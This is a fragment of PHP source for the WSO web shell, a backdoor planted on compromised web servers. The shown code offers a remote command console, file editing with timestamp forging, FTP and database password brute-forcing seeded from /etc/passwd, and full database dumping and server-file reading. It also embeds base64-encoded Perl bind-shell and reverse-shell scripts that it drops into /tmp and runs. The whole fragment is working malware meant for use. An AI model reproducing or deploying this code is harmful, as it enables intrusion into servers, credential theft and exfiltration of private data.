'strlen',);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo $_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"
\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo '<h1>String conversions</h1><div class=content>';echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";foreach($stringTools as $k => $v)echo "<option value='" .htmlspecialchars($v) ."'>" .$k ."</option>";echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') ."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" .(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2'])) ."</textarea></form><pre class='ml1' style='" .(empty($_POST['p1'])?'display:none;':'') ."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='" .htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";function wsoRecursiveGlob($path){if(substr($path,-1)!= '/')$path.='/';$paths=@array_unique(@array_merge(@glob($path .$_POST['p3']),@glob($path .'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as $item){if(@is_dir($item)){if($path!=$item)wsoRecursiveGlob($item);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($item),$_POST['p2'])!==false)echo "<a href='#' onclick='g(\"FilesTools\",null,\"" .urlencode($item) ."\", \"view\",\"\")'>" .htmlspecialchars($item) ."</a><br>";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=" .basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: " .$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo@fread($fp,1024);fclose($fp);}}exit;}if(@$_POST['p2']== 'mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}wsoHeader();echo '<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo 'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo '<span>Name:</span> ' .htmlspecialchars(@basename($_POST['p1'])) .' <span>Size:</span> ' .(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-') .' <span>Permission:</span> ' .wsoPermsColor($_POST['p1']) .' <span>Owner/Group:</span> ' .$uid['name'] .'/' .$gid['name'] .'<br>';echo '<span>Create time:</span> ' .date('Y-m-d H:i:s',filectime($_POST['p1'])) .' <span>Access time:</span> ' .date('Y-m-d H:i:s',fileatime($_POST['p1'])) .' <span>Modify time:</span> ' .date('Y-m-d H:i:s',filemtime($_POST['p1'])) .'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');else $m=array('Chmod','Rename','Touch');foreach($m as $v)echo '<a href=# onclick="g(null,null,\'' .urlencode($_POST['p1']) .'\',\'' .strtolower($v) .'\')">' .((strtolower($v)==@$_POST['p2'])?'<b>[ ' .$v .' ]</b>':$v) .'</a> ';echo '<br><br>';switch($_POST['p2']){case 'view':echo '<pre class=ml1>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';$code=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code) .'</div>';}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));if(!@chmod($_POST['p1'],$perms))echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.chmod.value);return false;"><input type=text name=chmod value="' .substr(sprintf('%o',fileperms($_POST['p1'])),-4) .'"><input type=submit value=">>"></form>';break;case 'edit':if(!is_writable($_POST['p1'])){echo 'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo 'Saved!<br><script>p3_="";</script>';@touch($_POST['p1'],$time,$time);}}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</textarea><input type=submit value=">>"></form>';break;case 'hexdump':$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].= sprintf('%02X',ord($c[$i])) .' ';switch(ord($c[$i])){case 0:$h[2].= ' ';break;case 9:$h[2].= ' ';break;case 10:$h[2].= ' ';break;case 13:$h[2].= ' ';break;default:$h[2].= $c[$i];break;}$n++;if($n == 32){$n=0;if($i+1<$len){$h[0].= sprintf('%08X',$i+1) .'<br>';}$h[1].= '<br>';$h[2].= "
";}}echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' .$h[0] .'</pre></span></td><td bgcolor=#282828><pre>' .$h[1] .'</pre></td><td bgcolor=#333333><pre>' .htmlspecialchars($h[2]) .'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){if(!@rename($_POST['p1'],$_POST['p3']))echo 'Can\'t rename!<br>';else die('<script>g(null,null,"' .urlencode($_POST['p3']) .'",null,"")</script>');}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.name.value);return false;"><input type=text name=name value="' .htmlspecialchars($_POST['p1']) .'"><input type=submit value=">>"></form>';break;case 'touch':if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo 'Fail!';else echo 'Touched!';}else echo 'Bad time format!';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.touch.value);return false;"><input type=text name=touch value="' .date("Y-m-d H:i:s",@filemtime($_POST['p1'])) .'"><input type=submit value=">>"></form>';break;}echo '</div>';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',true);$_POST['p1'].= ' 2>&1';}elseif(!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',0);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();echo "d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']),"
\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo "c_='" .$GLOBALS['cwd'] ."';";}}echo "d.cf.output.value+='" .$temp ."';";echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';foreach($GLOBALS['aliases']as $n => $v){if($v == ''){echo '<optgroup label="-' .htmlspecialchars($n) .'-"></optgroup>';continue;}echo '<option value="' .htmlspecialchars($v) .'">' .$n .'</option>';}echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX <input type=checkbox name=show_errors value=1 ' .(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']) .'stderr_to_out']?'checked':'') .'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']));}echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo '</form></div><script>d.cf.cmd.focus();</script>';wsoFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']== 'yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell has been removed');else echo 'unlink error!';if($_POST['p1']!= 'yes')wsoHeader();echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';wsoFooter();}function actionBruteforce(){wsoHeader();if(isset($_POST['proto'])){echo '<h1>Results</h1><div class=content><span>Type:</span> ' .htmlspecialchars($_POST['proto']) .' <span>Server:</span> ' .htmlspecialchars($_POST['server']) .'<br>';if($_POST['proto']== 'ftp'){function wsoBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return $res;}}elseif($_POST['proto']== 'mysql'){function wsoBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip .':' .$port?$port:3306,$login,$pass);@mysql_close($res);return $res;}}elseif($_POST['proto']== 'pgsql'){function wsoBruteForce($ip,$port,$login,$pass){$str="host='" .$ip ."' port='" .$port ."' user='" .$login ."' password='" .$pass ."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return $res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']== 1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as $line){$line=explode(":",$line);++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($line[0]) .'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp .= $line[0][$i];++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($tmp);}}}}elseif($_POST['type']== 2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as $line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo '<b>' .htmlspecialchars($_POST['login']) .'</b>:' .htmlspecialchars($line) .'<br>';}}}echo"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";}echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' .'<input type=hidden name=c value="' .htmlspecialchars($GLOBALS['cwd']) .'">' .'<input type=hidden name=a value="' .htmlspecialchars($_POST['a']) .'">' .'<input type=hidden name=charset value="' .htmlspecialchars($_POST['charset']) .'">' .'<span>Server:port</span></td>' .'<td><input type=text name=server value="127.0.0.1"></td></tr>' .'<tr><td><span>Brute type</span></td>' .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' .'<td><input type=text name=login value="root"></td></tr>' .'<tr><td><span>Dictionary</span></td>' .'<td><input type=text name=dict value="' .htmlspecialchars($GLOBALS['cwd']) .'passwd.dic"></td></tr></table>' .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';echo '</div><br>';wsoFooter();}function actionSql(){class DbClass{var $type;var $link;var $res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return $this->res=@mysql_query($str);break;case 'pgsql':return $this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return@mysql_fetch_assoc($res);break;case 'pgsql':return@pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return $this->query("SHOW databases");break;case 'pgsql':return $this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return $this->res=$this->query('SHOW TABLES');break;case 'pgsql':return $this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return@mysql_error();break;case 'pgsql':return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return@mysql_set_charset($str,$this->link);else $this->query('SET CHARSET ' .$str);break;case 'pgsql':return@pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return $this->fetch($this->query("SELECT LOAD_FILE('" .addslashes($str) ."') as file"));break;case 'pgsql':$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" .addslashes($str) ."';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `' .$table .'`');$create=mysql_fetch_array($res);$sql=$create[1] .";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `' .$table .'`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i%1000 == 0){$head=true;$sql=";
";}$columns=array();foreach($item as $k=>$v){if($v === null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'" .@mysql_real_escape_string($v) ."'";$columns[]="`" .$k ."`";}if($head){$sql .= 'INSERT INTO `' .$table .'` (' .implode(", ",$columns) .") VALUES
(" .implode(", ",$item) .')';$head=false;}else $sql .= "
,(" .implode(", ",$item) .')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";
");else echo(";
");break;case 'pgsql':$this->query('SELECT * FROM ' .$table);while($item=$this->fetch()){$columns=array();foreach($item as $k=>$v){$item[$k]="'" .addslashes($v) ."'";$columns[]=$k;}$sql='INSERT INTO ' .$table .' (' .implode(", ",$columns) .') VALUES (' .implode(", ",$item) .');' ."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if(@$_POST['p2']=='download'){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl']as $v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl']as $v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}wsoHeader();echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo 'selected';echo ">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo 'selected';echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" .(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"" .(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"" .(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo "<select name=sql_base><option value=''></option>";while($item=$db->fetch()){list($key,$value)=each($item);echo '<option value="' .$value .'" ' .($value==$_POST['sql_base']?'selected':'') .'>' .$value .'</option>';}echo '</select>';}else echo $tmp;}else echo $tmp;echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" .(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
</tr>
</table>
<script>
s_db='" .@addslashes($_POST['sql_base']) ."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";if(isset($db)&& $db->link){echo "<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM ' .$value .''));$value=htmlspecialchars($value);echo "<nobr><input type='checkbox' name='tbl[]' value='" .$value ."'> <a href=# onclick=\"st('" .$value ."',1)\">" .$value ."</a>" .(empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") ."</nobr><br>";}echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']== 'select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM ' .$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo "<script>d.sf.onsubmit=function(){st(\"" .$_POST['p2'] ."\", d.sf.p3.value)}</script><span>" .$_POST['p2'] ."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" .((int)$_POST['p3']) .">";echo" of $pages";if($_POST['p3']>1)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']-1) .")'>< Prev</a>";if($_POST['p3']<$pages)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']+1) .")'>Next ></a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM ' .$_POST['p2'] .' LIMIT 30 OFFSET ' .($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `' .$_POST['p2'] .'` LIMIT ' .($_POST['p3']*30) .',30';echo "<br><br>";}if((@$_POST['p1']== 'query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res !== false){$title=false;echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';$line=1;while($item=$db->fetch()){if(!$title){echo '<tr>';foreach($item as $key => $value)echo '<th>' .$key .'</th>';reset($item);$title=true;echo '</tr><tr>';$line=2;}echo '<tr class="l' .$line .'">';$line=$line==1?2:1;foreach($item as $key => $value){if($value == null)echo '<td><i>null</i></td>';else echo '<td>' .nl2br(htmlspecialchars($value)) .'</td>';}echo '</tr>';}echo '</table>';}else{echo '<div><b>Error:</b> ' .htmlspecialchars($db->error()) .'</div>';}}echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!= 'loadfile'))echo htmlspecialchars($_POST['p2']);echo "</textarea><br/><input type=submit value='Execute'>";echo "</td></tr>";}echo "</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";}if(@$_POST['p1']== 'loadfile'){$file=$db->loadFile($_POST['p2']);echo '<br/><pre class=ml1>' .htmlspecialchars($file['file']) .'</pre>';}}else{echo htmlspecialchars($db->error());}echo '</div>';wsoFooter();}function actionNetwork(){wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='" .$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w")or@function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1']== 'bpp'){cf("/tmp/bp.pl",$bind_port_p);$out=wsoEx("perl /tmp/bp.pl " .$_POST['p2'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
" .wsoEx("ps aux | grep bp.pl") ."</pre>";unlink("/tmp/bp.pl");}if($_POST['p1']== 'bcp'){cf("/tmp/bc.pl",$back_connect_p);$out=wsoEx("perl /tmp/bc.pl " .$_POST['p2'] ." " .$_POST['p3'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
